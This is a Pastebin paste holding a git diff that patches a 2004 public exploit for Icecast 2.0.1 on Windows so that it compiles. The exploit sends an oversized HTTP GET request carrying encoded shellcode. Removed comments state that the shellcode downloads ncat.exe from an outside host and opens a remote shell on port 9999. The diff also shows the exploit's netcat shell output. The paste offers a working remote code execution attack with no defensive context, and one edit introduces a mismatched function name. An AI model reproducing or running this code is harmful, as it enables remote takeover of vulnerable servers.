Advertisement
Guest User

fixedup

a guest
May 30th, 2021
220
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.91 KB | None | 0 0
  1. diff --git a/568 b/568.c
  2. index f48249e..57d94bf 100644
  3. --- a/568
  4. +++ b/568.c
  5. @@ -1,40 +1,3 @@
  6. -/*
  7. -
  8. -by Luigi Auriemma
  9. -
  10. -Shellcode add-on by Delikon
  11. -www.Delikon.de
  12. -
  13. -Because of all the forbidden bytes in a http get request
  14. -i had to use a very small shellcode, which was blown up
  15. -by Msf::Encoder::PexAlphaNum. Great encoder.
  16. --------------------------------------------------------------------------
  17. -C:>iceexec 127.0.0.1
  18. -
  19. -Icecast <= 2.0.1 Win32 remote code execution 0.1
  20. -by Luigi Auriemma
  21. -web:http://aluigi.altervista.org
  22. -
  23. -shellcode add-on by Delikon
  24. -www.delikon.de
  25. -
  26. -- target 127.0.0.1:8000
  27. -- send malformed data
  28. -
  29. -Server IS vulnerable!!!
  30. -
  31. -
  32. -C:>nc 127.0.0.1 9999
  33. -Microsoft Windows XP [Version 5.1.2600]
  34. -(C) Copyright 1985-2001 Microsoft Corp.
  35. -
  36. -C:Icecast2 Win32>
  37. ----------------------------------------------------------------------------
  38. -
  39. -
  40. -*/
  41. -
  42. #include <stdio.h>
  43. #include <stdlib.h>
  44. #include <string.h>
  45. @@ -52,21 +15,20 @@ C:Icecast2 Win32>
  46. #include <arpa/inet.h>
  47. #include <netdb.h>
  48. #include <netinet/in.h>
  49. + #include <sys/time.h>
  50. #endif
  51.  
  52. #define VER "0.1"
  53. #define PORT 8000
  54. -#define BUFFSZ2048
  55. +#define BUFFSZ 2048
  56. #define TIMEOUT 3
  57. -#define EXEC"GET / HTTP/1.0rn"
  58. - "arn" "arn" "arn" "arn" "arn" "arn" "arn" "arn"
  59. - "arn" "arn" "arn" "arn" "arn" "arn" "arn" "arn"
  60. - "arn" "arn" "arn" "arn" "arn" "arn" "arn" "arn"
  61. - "arn" "arn" "arn" "arn" "arn" "arn" "arn"
  62. - "xcc"
  63. -//web download and execution shellcode
  64. -//which downloads http://www.elitehaven.net/ncat.exe
  65. -//this ncat spwans a shell on port 9999
  66. +#define EXEC "GET / HTTP/1.0rn"\
  67. + "arn" "arn" "arn" "arn" "arn" "arn" "arn" "arn"\
  68. + "arn" "arn" "arn" "arn" "arn" "arn" "arn" "arn"\
  69. + "arn" "arn" "arn" "arn" "arn" "arn" "arn" "arn"\
  70. + "arn" "arn" "arn" "arn" "arn" "arn" "arn"\
  71. + "xcc"
  72. +
  73. char shellcode[] = "xEB"
  74. "x03x59xEBx05xE8xF8xFFxFFxFFx4Fx49x49x49x49x49x49x51x5Ax56x54"
  75. "x58x36x33x30x56x58x34x41x30x42x36x48x48x30x42x33x30x42x43x56"
  76. @@ -99,34 +61,25 @@ char shellcode[] = "xEB"
  77. "x32x50x46x45x36x46x47x4Fx42x50x46x43x36x41x56x46x37x50x32x45"
  78. "x36x4Ax37x45x46x42x50x5A";
  79.  
  80. -
  81. -/*
  82. -in my example 0xcc is used to interrupt the code execution, you must
  83. -put your shellcode exactly there.
  84. -You don't need to call a shellcode offset (CALL ESP, JMP ESP and so
  85. -on) or doing any other annoying operation because the code flow
  86. -points directly there!!!
  87. -Cool and easy 8-)
  88. -*/
  89. -
  90. -
  91. +#ifdef WIN32
  92. int startWinsock(void)
  93. {
  94. WSADATA wsa;
  95. return WSAStartup(MAKEWORD(2,0),&wsa);
  96. }
  97. +#endif
  98.  
  99. -int timeout(int sock);
  100. -u_long resolv(char *host);
  101. +int ti1meout(int sock);
  102. +__u_long resolv(char *host);
  103. void std_err(void);
  104.  
  105. int main(int argc, char *argv[]) {
  106. - structsockaddr_in peer;
  107. + struct sockaddr_in peer;
  108. int sd;
  109. - u_short port = PORT;
  110. - u_charbuff[BUFFSZ];
  111. -UCHAR buf[4096];
  112. -UCHAR *pointer=NULL;
  113. + __u_short port = PORT;
  114. + __u_char buff[BUFFSZ];
  115. + char buf[4096];
  116. + char *pointer=NULL;
  117.  
  118.  
  119. setbuf(stdout, NULL);
  120. @@ -150,7 +103,6 @@ UCHAR *pointer=NULL;
  121. }
  122.  
  123. #ifdef WIN32
  124. -
  125. startWinsock();
  126. #endif
  127.  
  128. @@ -163,12 +115,12 @@ UCHAR *pointer=NULL;
  129. memset(buf,0x00,sizeof(buf));
  130. strcpy(buf,EXEC);
  131.  
  132. -pointer =strrchr(buf,0xcc);
  133. + pointer =strrchr(buf,0xcc);
  134.  
  135. -strcpy(pointer,shellcode);
  136. + strcpy(pointer,shellcode);
  137.  
  138. -strcat(buf,"rn");
  139. -strcat(buf,"rn");
  140. + strcat(buf,"rn");
  141. + strcat(buf,"rn");
  142.  
  143.  
  144. printf("n- target %s:%hun",
  145. @@ -195,12 +147,12 @@ strcat(buf,"rn");
  146. }
  147.  
  148. int timeout(int sock) {
  149. - structtimeval tout;
  150. - fd_setfd_read;
  151. + struct timeval tout;
  152. + fd_set fd_read;
  153. int err;
  154.  
  155. - tout.tv_sec = TIMEOUT;
  156. - tout.tv_usec = 0;
  157. + tout.tv_sec = TIMEOUT;
  158. + tout.tv_usec = 0;
  159. FD_ZERO(&fd_read);
  160. FD_SET(sock, &fd_read);
  161. err = select(sock + 1, &fd_read, NULL, NULL, &tout);
  162. @@ -209,9 +161,9 @@ int timeout(int sock) {
  163. return(0);
  164. }
  165.  
  166. -u_long resolv(char *host) {
  167. - structhostent *hp;
  168. - u_longhost_ip;
  169. +__u_long resolv(char *host) {
  170. + struct hostent *hp;
  171. + __u_long host_ip;
  172.  
  173. host_ip = inet_addr(host);
  174. if(host_ip == INADDR_NONE) {
  175. @@ -219,7 +171,7 @@ u_long resolv(char *host) {
  176. if(!hp) {
  177. printf("nError: Unable to resolve hostname (%s)n", host);
  178. exit(1);
  179. - } else host_ip = *(u_long *)(hp->h_addr);
  180. + } else host_ip = *(__u_long *)(hp->h_addr_list[0]);
  181. }
  182. return(host_ip);
  183. }
  184. @@ -231,4 +183,4 @@ u_long resolv(char *host) {
  185. }
  186. #endif
  187.  
  188. -// milw0rm.com [2004-10-06]
  189. \ No newline at end of file
  190. +// milw0rm.com [2004-10-06]
  191.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement